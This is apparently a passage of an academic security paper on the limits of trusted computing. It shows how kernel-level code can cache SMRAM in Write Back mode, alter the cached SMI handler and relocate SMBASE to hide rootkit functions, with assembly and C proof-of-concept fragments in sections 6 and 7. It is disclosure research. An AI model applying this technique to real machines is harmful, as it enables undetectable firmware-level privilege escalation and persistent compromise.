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Abstract. Trusted computing has been explored through several inter-
national initiatives. Trust in a platform generally requires a subset of its
components to be trusted (typically, the CPU, the chipset and a virtual
machine hypervisor). These components are granted maximal privileges
and constitute the so called Trusted Computing Base (TCB), the size
of which should be minimal. The rest of the platform is only granted
limited privileges and cannot perform security-critical operations. A few
initiatives aim at excluding the BIOS from the TCB in particular (e.g.,
Intelr TxT and AMD SVM/SKINIT). However, the BIOS is responsible
for providing some objects that need to be trusted for the computer to
work properly.

This paper focuses on two of these objects, the SMI handler and the
ACPI tables, which are responsible for the configuration and the power
management of the platform. We study in what extent these two compo-
nents shall reasonably be trusted. Despite the protections that are imple-
mented, we show that an attacker can hide functions in either structure
to escalate privileges. The main contributions of our work are to present
an original mechanism that may be used by attackers to alter the SMI
handler, and to describe how rogue functions triggered by an external
stimulus can be injected inside ACPI tables (in our case, the attacker
will plug and unplug the power supply twice in a row). We also explore
the countermeasures that would prevent such modifications.
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Part 1 — Introduction and motivation

Several initiatives aim at improving the level of trust users can have in infor-
mation systems, and in computers in particular. The TCG (Trusted Computing

Group [27]), an industrial consortium, is certainly one of the leading groups in
the field. Security experts generally agree that achieving trust in computing re-
quires a small subset of hardware and software components to be controlled and
function correctly. They will indeed form the roots of trust allowing in fine users
to trust the platform running their applications. This set of components is tra-
ditionally called Trusted Computing Base (TCB). Intuitively, the TCB should
be as small as possible, for the verification of its correctness with regard to its
specifications to be feasible, be it by means of code audit or formal methods. On
the contrary, if the TCB comprises most of the platform, security assurance will
be harder to achieve.

Many academic and industrial players have tried to present mechanisms that
aim at reducing the TCB perimeter. For instance, technologies such as Intelr

TxT [8] and AMD SVM/SKINIT [4] allow for a “late launch” of the machine
that may be used to exclude the code in charge of the platform configuration and
initialisation (i.e., the BIOS) from the trusted area. Several other projects aim
at developing tiny microkernels that will allow different domains (e.g., operating
systems) to run in parallel on the same physical platform with a high level of
isolation between domains.

Indeed, it seems possible to push most of the software (and to some extent
the hardware) components of the machine out of the TCB. Yet, trusted comput-
ing promoters themselves point out several important open questions. Indeed,
components such as the SMI (System Management Interrupt) Handler [18] and
the ACPI (Advanced Configuration and Power Interface [11]) tables will neces-
sarily be part of the TCB. In this paper, we analyse the risks associated with
the inclusion of these two components in the TCB, and the different counter-
measures that may be used to reduce such a risk. Thus, we first present a new
mechanism that may be used by an attacker to modify the SMI handler, and
then we show how it is possible to include rootkit-like functions inside ACPI
tables. These functions would only be activated upon an external stimulus such
as plugging and unplugging the power cable of a laptop twice in a row.

In this first part, we present important CPU [14] and chipset [19] mechanisms
(section 1). Then, we describe our motivations and the context of this study
(section 2). Different aspects of the Intelr TxT technology are presented. This
section also gives details on the attacker model considered in this paper.

The second part deals with the System Management Mode. We first give
details on this mode and the way the System Management Interrupt (SMI) are
handled. We then present the security features that are intended to prevent an
attacker from tampering with the SMI handler. The last sections of that part
describe the techniques an attacker can use to modify such a handler.

The Advanced Configuration and Power Interfaces (ACPI) is another com-
ponent responsible for power management. It is studied in the third part. After



explaining how ACPI tables work, we present how an attacker might modify
their content as a means for privilege escalation over a system.

Finally, part 4 gives a brief summary of the results and describes potential
evolutions of the technologies that would indeed increase the trustworthiness of
the TCB.

1 Important details on the x86 architecture

In this paper, we only consider computers based on x86 (32 bit) and x86-64 (64
bit) CPUs. Most PCs are currently based on an x86 CPU (Pentiumr, Xeonr,
Core DuoTM , AthlonTM , TurionTM ). In addition, we only consider BIOS-based
platforms. It is very likely that the conclusions of this paper also apply to EFI-
based platforms [29] but our study did not cover such machines.

The first section describes the main components of an x86 CPU-based ma-
chine: the CPU and the chipset. It also describes how code running on the CPU
configures the chipset itself and the devices connected to the computer. The
reader already familiar with these notions may easily skip the content of this
section.

1.1 Traditional PC architecture

Figure 1 shows a traditional PC architecture. User code (trusted computing
bases, operating systems, applications) run on the CPU [14]. The chipset com-
ponent is in charge of hardware device management.
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Fig. 1. Traditional PC architecture (for example Pentiumr 4-based architecture)

The manufacturer documentation ([14], [17]) for the x86 family CPUs speci-
fies four different modes of operation. During boot sequence, the processor runs



in real-address mode, until it is switched to protected mode. Real-address mode
is a legacy 16-bit addressing mode mostly used at startup time. Protected mode
is a 32-bit mode and is the nominal mode of operation on x86 32-bit CPU.
Any modern operating system (e.g., Linux, Windows or Unix) runs in protected
mode. Protected mode provides four different processor privilege levels called
rings, ranging from 0 (most privileged) to 3 (least privileged). In standard oper-
ating systems, kernel code is executed in ring 0 while user programs are confined
to ring 3. This prevents user programs from interacting with kernel code and
data other than by using precisely defined and secured system calls. Critical
operations are often restricted to ring 0. As a matter of fact, protected mode
provides very useful security mechanisms such as segmentation and pagination,
which will not be discussed here. As protected mode is a 32-bit addressing mode,
up to 4 gigabytes of physical memory can be addressed. Virtual 8086 mode is a
less often used compatibility mode which may be used to run old 8086 programs
(such as legacy DOS applications). Finally, the System Management Mode is
meant to be used only for hardware-triggered system management operations.
In fact, System Management Mode provides a very convenient environment for
power management and system hardware control.

Legal transitions between the four modes are depicted on Figure 2. Switching
from protected to real-address mode requires ring 0 privileges. Switches between
protected and virtual 8086 modes can only occur during specific hardware task
switches and interrupt handling. Switches between SMM and other modes will be
detailed in the next section. It is worth noting that x86-64 CPUs introduce a new
mode of operation (IA32e) allowing the use of 64-bit memory addressing. This
mode will be the nominal mode of operation for x86-64 processors. Transitions
between this mode and SMM are identical to those between protected mode
and SMM. For the sake of simplicity, we only consider in this paper operating
systems running in protected mode on an x86 CPU. Analyses have been carried
out showing that the conclusions of this paper still hold true when the target
operating system is running in IA32e mode on an x86-64 processor.

1.2 Access to the peripherals

The northbridge part of the chipset [12] is connected to the main system memory
(RAM) and to the graphic adapter. The southbridge part of the chipset [19]
is connected to other devices (network interface controller, sound device, USB
devices) through various communication buses. Power management of a device is
achieved at the hardware level by modifying the content of configuration registers
hosted by the chipset (northbridge, southbridge or both depending on the device)
and in the device itself. These registers can be accessed from the CPU using
different mechanisms [17]:

– some registers are mapped by the chipset into the main system memory
space. These so-called Memory-Mapped I/O (MMIO) registers can thus be
accessed by the CPU in the same way as RAM is, but at different addresses;
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– some registers are mapped into a separate 16-bit bus. These registers are
called Programmed I/O (PIO) registers. They are given an address in the
PIO space and can be accessed from the CPU using “in” [15] and “out” [16]
assembly language instructions;

– the chipset can also choose to map configuration registers into the PCI con-
figuration space [24]. One way to access those registers is to use two dedicated
PIO registers, 0xcf8 and 0xcfc, by specifying the PCI address of the register
(composed of a bus number, a device number, a function index and an offset)
in the 0xcf8 register and reading (resp. writing to) the 0xcfc register to read
(resp. write) the content of the PCI register.

2 Context and motivations

2.1 TCG and TPM

Among all the initiatives related to Trusted Computing, the Trusted Computing

Group (TCG) is one of the most important. The TCG is an international organ-
isation composed of major companies aiming at specifying components that may
be used to improve the level of trust and confidence users can have in a com-
puter. The main component specified by the TCG is the Trusted Platform Module

(TPM [28]). On PC platforms, this module is a cryptographic component inte-
grated to the motherboard that essentially provides asymmetric cryptographic
functions.

The measurement function is probably one of the most important operations
provided by the TPM. Measures are actually cryptographic fingerprints (hashes)
of the different software components that are be run on a machine. Measures are
stored inside the TPM. Basically, the model assumes that the user is somehow
able to trust a set of software components (bootloader, operating system, some
particular application for instance). The user wants to make sure that these
components are actually those that were initially installed and checked on the



platform (global boot sequence integrity property). In order to do that, the idea
is that every component that runs on the machine computes a cryptographic
hash of the components that it will launch afterwards and store these so-called
measures inside the TPM. The TPM may attest its internal state at any time by
signing the cryptographic hashes with an internal key. Of course, this mechanism
only works if the very first component running on the machine can be trusted to
measure the other components it launches. This first software component is the
only one that cannot be measured and that the user has to explicitly trust. This
component is called the root of trust for measurements. If an attacker manages
to somehow modify this component or run random code in the context of this
component, there will be no way for the user to trust the measurements stored
inside the TPM.

On a classic PC platform, the root of trust for measurement may be static
(typically, the BIOS boot block is the root of trust for measurements) or dynamic
when the Intelr TxT or AMD SVM/SKINIT technologies are used (more details
later).

Trusted computing, at least in the views of the TCG, is all about measuring
software components and attesting the state of the platform to a remote party
that will use the attested measurements to decide whether or not they shall trust
the platform.

2.2 Definition of a Trusted Computing Base

One of the main objectives of trusted computing is to define a minimal set of
hardware and software components called the Trusted Computing Base (TCB)
that the user needs to implicitly trust in order to be able to trust the platform.
If any of the components within the TCB is not working according to its speci-
fication or falls under the control of an attacker, then the platform is absolutely
unable to enforce any security policy. On the other hand, even if all components
outside of the TCB fall under the complete control of the attacker, the security
properties of the platform will hold.

Fig. 3. Traditional trusted computing base on a system using (a) an operating system
or (b) an hypervisor.

In a traditional system, the TCB is at least composed of the CPU, the chipset,
a TPM (in general), the BIOS (and all the associated low level structures such



as the SMI handler and the ACPI tables), the kernel of the operating system
and all the applications running with admin privileges, and most probably all
the devices connected to the machine (see figure 3a).

On the contrary, for architectures based on paravirtualization (see figure 3b),
there exists mechanisms like I/O MMU or VT-d allowing the monitor to restrict
the memory area that devices may access. In case such mechanisms are used,
the TCB will typically be composed of the CPU, the chipset, the TPM, the
BIOS (and the usual structures) and a minimal virtual machine monitor (or
hypervisor) with its management domain (should it use one).

2.3 Restricting the perimeter of the Trusted Computing Base

As stated in the examples from the previous paragraph, it is clear that, the
fewer, the smaller and the simpler the components of the TCB are, the better.
Confidence can be more easily achieved for small components. Thus, different
initiatives aim either at restricting the number of components inside the TCB,
or at reducing the size of TCB components.

For instance the OKL4/seL4 project [10] goal is to develop a microkernel
that will be able to run in parallel several operating systems and isolate them.
The microkernel code is entirely proved to be conform to its specification written
in a language where security properties can naturally be expressed and checked.
The NovaOS [26] has very similar objectives. In an ideal world, these microker-
nels would implement all the privileged operations such as the overall security
properties of the system always hold, even when the guest operating systems
cannot be trusted.

At the hardware level, Intelr and AMD independently proposed two tech-
nologies called TxT and SVM/SKINIT, aiming at excluding the BIOS from the
Trusted Computing Base through a mechanism called late launch. From a high-
level point of view, both technologies are very similar. For the sake of simplicity,
only Intelr TxT will be described.

2.4 Example of the Intelr TxT technology

The TxT technology (Trusted eXecution Technology) was designed to allow a
“late launch” of a machine: it is basically supposed to put it into a well known
software state (trusted environment). In the model, the machine is started and
runs a standard operating system that does not need to be trusted. During this
phase, the devices are started, initialised and correctly configured. Then, in order
to launch the trusted environment, it is necessary to run the assembly language
instruction GETSEC[SENTER] on one of the CPUs of the machine. This in-
struction will cause the CPU to stop what it is doing and send a message to
the other CPUs to do the same. It then loads a piece of code called SINIT from
main memory, checks the chipset manufacturer signature, and runs it. SINIT
runs in cache memory only and during its execution, all hardware and software
interrupts are blocked. The CPU is thus running a signed code in a uninterrupt-
ible state. The main role of SINIT is to run a trusted software component (such



as a microkernel for instance), whose integrity can be verified later thanks to
measurements stored in the TPM.

Late launch aims at putting the BIOS outside of the Trusted Computing
Base (see figure 4), since SINIT is playing the role of the dynamic root of trust
for measurement. As peripherals were already configured and running before the
late launch, it is not necessary to run the BIOS at any time after the late launch.
TxT also makes an extensive use of the Intelr VT-d technology: it is used to
limit the memory regions that devices may access, even if these were configured
by the BIOS (on purpose or not) to target memory outside of those dedicated
zones. This way, accessing trusted components from a device is impossible.

If the TxT technology is correctly used, the Trusted Computing Base can
be restricted to the CPU, the chipset (which integrates a TPM on some Intelr

machines) and a minimal software component (such as NovaOS or seL4). The
problem of such an approach is that the BIOS sets in memory different structures
such as the SMI handler and the ACPI tables that will be used even after the late
launch for power management purposes (see the second and third parts of this
paper). These components may not be easily excluded from the TCB. Thus, an
attacker might modify these structures before the late launch, when the machine
is still in an untrusted state, in order to include a backdoor; after the late launch
she would use this backdoor to run code with the highest privilege level even
though the TCB is supposed to be in control of such critical functions.

Fig. 4. Example of a TCB after a late launch

2.5 Attacker model

We consider that all the components that do not explicitly belong to the TCB
on figure 4 may fall under the complete control of the attacker. Moreover, the
attacker has the ability to:

– either include a backdoor in the BIOS, during the manufacturing process of
the machine or thanks to a firmware update;

– or alternatively take complete control of the system and gain privileges equiv-
alent to those of the kernel of the operating system before the late launch.



In the first case, the attacker may easily include a backdoor inside the ACPI
tables or the SMI handler. We will analyse in which extent such a backdoor
will be usable after the late launch. In the second case, the attacker first has to
somehow manage to modify the target structures (SMI handler, ACPI tables)
before the late launch. We will see in the next section that chipset security
mechanisms are supposed to prevent such modifications of the SMI handler.

The following sections present the way SMI handlers and ACPI tables are
used by the system and for which purpose an attacker may want to modify these
structures.



Part 2 — The System Management

Mode

As presented in 1.1, System Management Mode (SMM) is used to run a software
component called the SMI handler specified by the motherboard manufacturer
and loaded in memory by the BIOS. The SMI handler is called in SMM to deal
with events that may occur at the motherboard level (e.g., wake-up of a device
such as the LAN or the USB controllers, power management of the CPU, chipset
alarm for instance).

In this section, after a quick overview of the way SMM works, we present
how an attacker can make use of a malicious SMI handler. Then, we show how
to exploit cache management inside x86 CPUs to bypass SMM protections. A
proof of concept of the attack is also given at the end of the section.

3 SMI handler

Operating systems should remain as generic as possible in order to run on a
large number of platforms. In order to abstract the specificities of every each
power management mechanisms away from the operating systems, motherboard
manufacturers provide a component to deal with power management, the SMI
handler.

The SMI handler requires high privileges to be able to access all the devices.
The design choice that has been made consists in creating a special mode of
operation (SMM) for the SMI handler, where no security mechanism is imple-
mented. In SMM, paging is disabled and although it is a 16-bit address mode,
all 4 gigabytes of physical memory can be freely accessed (using the so-called
memory extension addressing). All I/O ports [14] can also be accessed without
any restriction. The privilege level of SMM is thus similar the ring 0, i.e. of
operating system kernel code.

3.1 SMM basics

The only way to enter SMM is to trigger a physical hardware interrupt called
System Management Interrupt (SMI). Then, it is only possible to leave SMM
using the rsm machine instruction (see [16]). Upon entering SMM, the whole
processor context is saved in such a way that it can be restored when leaving
this mode. In other words, entering SMM freezes the execution of the whole
operating system and puts the processor in a special execution context. Leaving
SMM restores the system state so that it is identical to what it was before the
interruption (except for the modifications that were made to the saved context
while in SMM, as we will see in 3.3).



3.2 SMI generation

SMIs are hardware interrupts which may only be generated by chipsets on
most platforms. Many different events may trigger an SMI. They are platform-
dependent. Chipset documentations (see [13] for instance) generally reference all
the events triggering an SMI. On most platforms, chipsets provide a way for the
operating system running on the CPU to trigger an SMI on purpose. In order
to do so, chipsets provide a register, the Advanced Power Management Control
(APMC) register, which causes the chipset to trigger an SMI when written to.
The APMC register is a Programmed I/O register that can be written to using
a simple outl assembly language instruction1.

3.3 System Management RAM

In order to be able to restore the system state to what it was before entering
SMM upon execution of the rsm assembly language instruction, the CPU must
store the corresponding context in a CPU saved state map. Both the CPU saved
state map and the SMI handler are located in a dedicated memory area called
SMRAM. SMRAM is located in physical memory between addresses SMBASE
and SMBASE+0x1FFFF2. The default value for SMBASE is 0x30000, but mod-
ern chipsets offer the possibility to relocate it either at address 0xa0000 (called
legacy SMRAM address) or at address 0xfeda0000 (high SMRAM address). A
third location called Extended SMRAM TSEG is possible but will not be con-
sidered here for the sake of simplicity. Tests have been carried out that show
that what is true for High SMRAM is also true for TSEG.

The base address of SMRAM is stored in a CPU register also called SMBASE
and can only be modified while in SMM. In fact this register cannot be directly
read from or written to and shall only be modified during execution of an rsm

instruction: SMM software can modify the SMBASE register image in the saved
CPU context; then, upon execution of the rsm instruction, the real register will
be updated with the new value specified.

3.4 Protection mechanisms

Given the level of privileges associated with SMM software, it may seem inter-
esting for an attacker to try to replace the SMI handler routine specified by
the motherboard manufacturer by malicious software. In order to prevent this,
security mechanisms have been provided by most chipsets (for instance chipsets
specified in [13,19]). The chipset will prevent access to both legacy and high
SMRAM unless the code that is trying to access these memory areas is running
in System Management Mode. As the SMI handler is stored in SMRAM, the

1 Execution of this instruction requires so-called I/O privileges that can only be del-
egated by code running in ring 0, for instance operating system kernel code.

2 Actually SMRAM can theoretically be larger than this when using Extended SM-
RAM TSEG.



SMI handler can only be modified by itself. In order to solve the problem of
bootstrapping the SMI handler (remember that the CPU starts in real address
mode and that the system needs to load the initial SMI handler in memory), the
chipset provides a register called SMRAM Control Register (SMRAMC). Bit 6 of
this register is called D OPEN. If D OPEN is set, the access control restrictions
are not enforced; in that case, software can freely read or write data, or execute
code in SMRAM, even if it is not running in SMM. The overall model is that
the first component to be executed at boot time (most likely the BIOS POST
function, which the security model assumes to be trusted) will set this bit, load
the SMI handler in SMRAM and clear the bit. In order to prevent attackers
from setting this bit and modifying the SMI handler routine afterwards, it is
necessary to set bit 4 of the SMRAMC register (the D LCK bit). When this bit
is set, the D OPEN bit becomes read only. The D LCK bit can only be cleared
with a full system reset.

4 Possible malicious use of SMM

Having depicted the way CPUs and chipsets handle System Management Mode
accesses, we now show how SMM can be used for malicious purpose and discuss
the efficiency of the security mechanisms described in section 3.4.

4.1 Privilege escalation and rootkit function concealment

It has been shown in [5] that it is possible to use SMM as a means for privilege
escalation over a Linux or an OpenBSD system if the D LCK bit is not set. The
privilege escalation scheme allows an attacker with reduced privileges to reach
kernel privileges. These aspects have been further studied in [1,20].

Very recently, it has also been shown that, under the same assumptions, it is
possible for a rootkit to hide functions inside the SMI handler. Examples given
include key logging functions [7,6].

4.2 Limits of the attack

SMM had not been studied from a security perspective until very recently which
is why, to the best of our knowledge, no practical rootkit currently takes advan-
tage of SMI handlers to hide itself. However, there are very strong limits that
will prevent most attackers from using SMM for such purposes anyway:

– SMI handlers are platform-specific, which means that it is difficult for a
rootkit to find a generic way to modify SMI handlers on a large number of
platforms without preventing target platforms from functioning correctly;

– SMI handler modifications in SMRAM do not survive platform reboot as a
fresh version of the SMI handler is written back to SMRAM by the pre-OS
environment3;

3 Needless to say that this limitation could in fact be seen as an upside for an attacker
looking for a stealthy all in RAM penetration.



– SMI handler modifications are only possible when the D LCK bit is not set.
When this bit is set, modifications are meant to be impossible.

As for the first limitation, there may be ways to design platform-independent
rootkits; furthermore, this limitation may not be a real concern for an attacker
targeting a specific victim. However this topic is out of the scope of this paper.
The second limitation is very constraining: apart from being able to modify the
BIOS or the SMI handler image that the BIOS is loading at boot time4, an
attacker cannot overtake it. Finally, one of the main contributions of this paper
relates to the last limitation, which is by far the most important, as most recent
platforms set the D LCK bit at boot time. In the remainder, we show how it is
possible to modify the SMRAM even when the D LCK bit is set.

5 Cache and memory management

In this section, we temporarily move away from SMM to focus on the way mem-
ory caching works for x86 and x86-64 processors. Our goal here is to present the
different ways of caching memory and the caching strategies available.

5.1 Memory caching

A cache is a memory area embedded in the CPU, on the CPU board, or elsewhere
on the motherboard, that can be used to store recently accessed data in order to
speed up memory accesses. When memory is cached, the first read access to a
memory location will cause the data to be copied into internal or external caches
of the CPU. When it is necessary to read the data back, the data can be read
from the cache and no bus cycle to main system memory is necessary. Figure 5
presents a traditional cache hierarchy.

5.2 Memory types

Specifying the whole memory space to be cacheable would be a bad idea because
so-called Memory-Mapped I/O devices (such as the graphic adapter) will not
work properly if some memory address ranges are cached. It is thus possible
to specify different caching strategies for different memory areas. Examples of
caching strategies include:

– Uncacheable memory (UC): uncacheable memory ranges cannot be cached
by the CPU;

– Write Through memory (WT): write accesses to memory are carried out in
both cache and memory. If the write operation to memory fails, the corre-
sponding cache line is invalidated;

4 This could be done for instance by flashing a malicious BIOS into the motherboard,
which would emphasise the platform-specificity of the attack.
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Fig. 5. Traditional x86 cache hierarchy

– Write Back (WB): write accesses to memory only affect cache when per-
formed. External memory is eventually synchronised with the cache when the
CPU executes an explicit cache synchronisation instruction such as wbinvd,
or when data is taken out of the cache. This is by far the most time-efficient
caching strategy.

5.3 Memory Type Range Registers (MTRRs)

There are several ways for an operating system to specify which memory areas
should be cached and which caching strategy should be used. The standard
method, that we will not describe here for the sake of simplicity, is through page
directories and tables. Another method is to use Memory Type Range Registers
(MTRRs). MTRRs are Model Specific Registers (MSRs). They can be accessed
using the rdmsr and wrmsr assembly language instructions. These instructions
are restricted to high privilege level code (ring 0 code, typically operating system
kernels). MTRRs can be used to specify the caching strategy for wide memory
ranges. There are two types of MTRRs:

– Fixed MTRRs that can be used to specify the caching strategy of different
fixed memory areas (the legacy SMRAM range is one of them);

– Variable MTRRs that can be used to define the strategy of any memory
area, of any size. Such MTRRs can be used for instance to configure the
caching strategy of the high SMRAM memory area. Variable MTRRs are
composed of two 64-bit MSRs. One (Base MSR) is used to specify the base
address of the memory area to be cached and the caching strategy; the other
(mask MSR) specifies the memory area size and whether or not the MTRR
is valid.



Moreover, it is worth noting that MTRR settings have precedence over page
and directory settings. Page and directory caching specifications will not be
checked if MTRRs are used for a particular memory location.

5.4 SMRAM and cached accesses

Manufacturer documentations do not specify whether SMRAM shall be cached
or not. They merely provide guidelines for motherboard and operating system
manufacturers to do the right choice. It is generally advised that SMRAM should
not be cached, especially if the SMRAM address range conflicts with another
memory area that should not be cached5. Caching high SMRAM, however, is
allowed ; it is even specifically designed to be cached.

At this time, it is interesting to notice a specificity about the D OPEN access
control policy for the High SMRAM. We assume that the D OPEN bit is cleared
and the D LCK bit is set. However, in the case of the High SMRAM, the access
control policy is not enforced for write back cycles, even in protected mode. This
means that if an SMI handler modifies the High SMRAM content when it is
cached, then the SMI handler can run rsm to return to protected mode even if
there are inconsistencies between memory and caches as write-back operations
will be allowed to occur later.

6 Overtaking the limits

We now point out flaws in the overall SMM security model and show how SM-
RAM modifications are possible, which allow a kernel-level rootkit to hide its
functions within the SMRAM.

6.1 Flaws in the security model

We know that access control to SMRAM is implemented in the chipset by means
of the D OPEN and D LCK bits, but:

– only the CPU knows the actual location of the SMRAM (specified in the
CPU internal register SMBASE), so the chipset can only protect the memory
area where it assumes SMRAM lies ;

– the CPU is the one component that informs the chipset whether code is
running in SMM or in other modes of operation;

– there can be differences between CPU internal or external caches and SM-
RAM when SMRAM is cached in Write Back mode. Code running on the
CPU is free to choose the memory management strategy for SMRAM6.

5 In protected mode, addresses of the legacy SMRAM address range are decoded by
the chipset as graphic card addresses.

6 It is possible to do so even when legacy SMRAM is used. However caching legacy
SMRAM cannot be advised because the caching strategy would also apply to legacy
video RAM as both memory areas share the same physical address space.



As the CPU has sufficient information to decide whether accesses to the
SMRAM should be allowed or not, implementing the access control function
in the chipset seems dangerous. Actually, this separation of roles between the
chipset and the CPU is the reason why the D LCK and D OPEN access control
mechanism can be bypassed by attackers.

6.2 Caching SMRAM and consequences

A rootkit that has enough privileges to write to MSRs (e.g., running in kernel
mode) can modify the overall caching strategy of the CPU through MTRRs.
The MTRR that should be modified depends on the location of the SMRAM
(legacy or high SMRAM). We now assume that the rootkit modifies the caching
strategy for the SMRAM allowing it to be cached in Write Back mode. The
MTRR modification is very simple, as shown in the following example concerning
the high SMRAM:

/* Write to the base part of a variable MTRR */

// 0x6 specifies Write Back mode

// 0xfeda0000: base address of high SMRAM

movl $0xfeda0006, %eax

movl $0, %edx

// MSR address of the variable mask MTRR to write

movl $0x204, %ecx

// MSR[ecx]<- edx:eax

wrmsr

/* Write to the mask (size) part of the MTRR */

// 0x08: MTRR is valid

// 0xfffc0000: indicates size (at least SMRAM size)

movl $0xfffc0800, %eax

movl $0, %edx

// MSR address of the variable mask MTRR to write

movl $0x205, %ecx

// MSR[ecx]<- edx:eax

wrmsr

If the attacker now triggers an SMI, for instance by writing to the APMC
register, the SMRAM pages that have been accessed will be cached. When the
SMI handler runs the rsm instruction without running the wbinvd instruction
first, at least part of the SMI handler lingers in cache memory when the CPU goes
back to protected mode. Even though access control to the SMRAM memory
is still enforced by the chipset, chunks of the SMI handler is maintained in the
CPU cache. If the attacker now tries to modify the SMI handler, modifications
will only occur in cache as writes will not be committed to memory immediately.
Modification in cache is allowed as chipset access control to SMRAM obviously
does not cover CPU internal caches.

At this point, two different versions of the SMI handler exist: the original
version lying in the actual SMRAM protected by chipset access control, and a
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Fig. 6. Overall SMI handler modification scheme

modified copy lying in CPU data caches that the attacker can modify at will,
within the limits of the cache size, and that is not protected by the chipset.

6.3 Circumventing the D LCK bit: global idea

Knowing which of the two handlers gets executed when another SMI is triggered
is not easy, partly because cache hierarchy is different from one CPU to another.
Some CPUs have independent instruction caches and some do not. In cases where
the CPU cannot make use of an independent instruction cache, the SMI handler
that will be executed is obviously the copy in the data cache. Indeed, because
SMRAM is cached in Write Back mode, the cached version of the memory area
is supposed to be the fresher.

If the CPU has an instruction cache, however, the answer is not as straight-
forward. If an SMI was recently triggered, then there is a possibility that a copy
of the SMI handler is still inside the instruction cache. This copy will be iden-
tical to the original SMI handler as modifications in data caches will not be
propagated to the instruction cache. So the attacker would have to make sure
that there is no copy of the SMI handler within the instruction cache before
triggering an SMI for the the modified copy to be executed. Fortunately for the
attacker, it seems that instruction caches are flushed during switches between
modes of operation (upon reception of an SMI and during the execution of the
rsm instruction). It would indeed be peculiar (and certainly dangerous from a



security perspective) to allow 16-bit code to linger in the instruction cache when
the CPU is running in 32-bit mode. The bottom line is that, in all cases, there
will be no copy of the SMI handler in the instruction cache and therefore the
SMI handler that will be executed is always the modified copy from the CPU
data cache.

7 Practical scheme

7.1 Presentation of the generic scheme

The last limitation that the attacker has to overcome is that data caches are
by nature ephemeral. Least frequently used information will be written back
to memory and flushed, and the operating system might decide at any time to
flush the caches. Therefore, the attacker needs a way to make the modification
persistent, i.e., commit the modification to main memory.

The proposed scheme is based on SMRAM relocation (see figure 6). The
scheme assumes that the attacker has determined the base address of the SM-
RAM beforehand (see section 3.3 for details on how this can be achieved).

Source code in appendices give a proof of concept implementation of the
following scheme; the code samples concern the legacy SMRAM.

1. find a 32kB contiguous memory area that is not likely to be used by the
operating system ; this corresponds to the 32 kB area starting at address
A=0x30000 in our proof of concept;

2. modify the overall caching strategy for SMRAM (it should be Write Back,
see 6.2);

3. trigger a first SMI by writing to the APMC register. The SMI handler is
run and remains in the CPU data cache. We will call this copy CV (Cached
Version);

outl(0x0000000f, APMC);

4. copy the SMI handler CV (copy is possible from the cached version) at
address A. We will call this new copy SMI handler A;

int fd = open("/dev/mem", O_RDWR);

unsigned char * handler_CV = mmap(NULL, 0x8000,

PROT_READ | PROT_WRITE, MAP_SHARED, fd ,0xa8000);

unsigned char * handler_A = mmap(NULL, 0x8000,

PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x38000);

memcpy(handler_A, handler_CV, 0x8000);

5. modify the copy to address A at will to include rootkit functions;

memcpy(handler_A, rootkit, endrootkit-rootkit);

6. modify what is stored at addresses corresponding to SMRAM. It is very im-
portant to note that, because of the Write Back strategy, modifications only
occur in cache. As a result, CV is modified but not the actual SMRAM con-
tent. After modification, CV should be identical to the original SMI handler
except that it writes A to the SMBASE value from the saved state. This can
be done simply by hooking the existing SMI handler;



// jump to the relocation_code that will change SMBASE image

memcpy(handler_CV, &initial_jmp, 3);

// copy code in an unused memory zone

// this code has to jump back to the original handler

memcpy(handler_CV + CODE_OFFSET, &relocation_code,SIZE);

7. trigger a second SMI. The copy of the SMI handler (CV) is executed, writes
A to the SMBASE saved context. Upon execution of the rsm instruction, the
content of the CPU internal SMBASE register will be replaced with address
A that will be the new SMBASE address:

outl(0x0000000f, APMC);

8. from that point on, any further SMI will cause the execution of the SMI
handler copy at address A.

SMRAM relocation is permanent until next reboot. As far as the CPU is
concerned, SMRAM is relocated to address A. Yet, for the chipset, SMBASE
still corresponds to either legacy or high SMRAM. No mechanism in the chipset
will control accesses to the new SMRAM location.

7.2 Alternate scheme

It is worth noting that the first part of the scheme (steps 3 and 4) are only
used to provide the attacker with a copy of the original SMRAM handler that is
being used by the system. If the attacker has other means to obtain the original
handler, or knows how to write a correct SMI handler for the machine, this first
part can be skipped. In step 4, the attacker would then have to write the handler
from scratch. The remainder of the scheme works exactly the same way. In this
case, the only time when the attacker really needs SMRAM caching is during
step 6 to make sure that the SMBASE modification code (typically around 12
bytes) is actually executed after an SMI was triggered.

7.3 A few more remarks about the cache

Considering the alternate scheme, one may wonder whether it is always possible
to alter the cached version of the SMRAM or not. When the attacker modifies
the content stored at the addresses corresponding to the SMRAM (step 6), the
corresponding cache line might indeed not be present. If the platform uses the
legacy SMRAM, the cache will be filled by video RAM content; in the High
SMRAM or TSEG case, experiences have shown that the cache is filled by 0xff

bytes before the write operation occurs. In both cases, the scheme works as
expected.

We have seen in 5.4 that write back cycles were allowed outside the System
Management Mode for the high SMRAM. Thus, the modification performed by
the attacker in step 6 will eventually be committed to main memory once the
corresponding cache line is invalidated and might be monitored by a privileged
component of the chipset as we will see later. However, the attacker may still
remain undetected by using the invd instruction, whose effect is to invalidate
the caches, without committing them to main memory.



7.4 Using the scheme on multi-CPU platforms

The attack described previously is especially suited to single-CPU computers.
When several CPUs are running on the system, things get slightly more compli-
cated. Indeed, when an SMI is triggered on a multi-CPU machine, any of them
may catch the SMI and enter SMM. The documentation only states that at least
one CPU will handle the SMI.

It is also advised that each CPU should use a different SMRAM memory
space. The contents of each CPU SMBASE register will be different.As a conse-
quence, each CPU will be using a different SMI handler.

From the attacker’s point of view, several SMI handlers are stored at different
addresses and there is no way for him (considering the specifications) to predict
which one will be used to handle an SMI. There are two different ways for the
attacker to address this problem:

– by modifying the caching strategies of all SMI handlers and maintaining in
cache a modified copy of each of them;

– by modifying a single SMI handler and carry on triggering SMIs until the
modified SMI handler is actually executed by the system.

The first strategy should be preferred when possible (the size of the caches
might not be compatible) as it has the highest success rate.

7.5 Experimentations

Experimentations have been carried out on four different computers from differ-
ent manufacturers (two laptops, a desktop computer and a server, see table 7).
Both laptops use high SMRAM, the desktop machine legacy SMRAM and the
server uses TSEG. Both laptop and desktop computers were single-CPU com-
puters and the server was a dual-core CPU machine.

Only the server had the D LCK bit set. We did set the D LCK bit on all
machines before carrying out the privilege escalation schemes.

Our scheme has been successfully carried out on all machines. In a private
communication, Intelr confirmed that the problem was generic and fixed in very
recent CPUs (see section 13).

7.6 Determining SMBASE

In practice, the most difficult part of the privilege escalation attack is to actually
guess what SMBASE is as the SMBASE register cannot be read even by ring 0
code.

For instance, legacy SMRAM corresponds to memory addresses between
0xa0000 and 0xbffff. Valid values of SMBASE include 0xa0000, 0xa8000, and
0xb0000. The SMI handler may also be located anywhere outside of chipset-
